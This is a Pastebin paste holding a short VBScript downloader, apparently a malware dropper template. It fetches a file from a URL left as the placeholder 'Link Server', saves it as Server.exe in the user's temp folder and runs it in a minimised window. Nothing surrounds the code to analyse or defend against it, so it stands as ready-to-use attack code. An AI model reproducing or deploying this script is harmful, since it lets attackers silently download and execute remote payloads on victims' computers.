Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '============>> Writed With Security.Najaf :)
- '-------------------------------------------------------------------------
- Dim sh
- Randomize
- Set sh =WScript.CreateObject("WScript.Shell")
- HTTPDownload "Link Server", sh.ExpandEnvironmentStrings("%temp%" & "\Server.exe")
- Sub HTTPDownload( myURL, myPath )
- Dim i, objFile, objFSO, objHTTP, strFile, strMsg
- Const ForReading = 1, ForWriting = 2, ForAppending = 8
- Set objFSO = CreateObject( "Scripting.FileSystemObject" )
- If objFSO.FolderExists( myPath ) Then
- strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) )
- ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
- strFile = myPath
- Else
- WScript.Echo "ERROR: Target folder not found."
- Exit Sub
- End If
- Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
- Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
- objHTTP.Open "GET", myURL, False
- objHTTP.Send
- For i = 1 To LenB( objHTTP.ResponseBody )
- objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
- Next
- objFile.Close( )
- End Sub
- Set wshShell = WScript.CreateObject ("WSCript.shell")
- wshshell.run sh.ExpandEnvironmentStrings("%temp%" & "\Server.exe"), 6, True
- set wshshell = nothing
Add Comment
Please, Sign In to add comment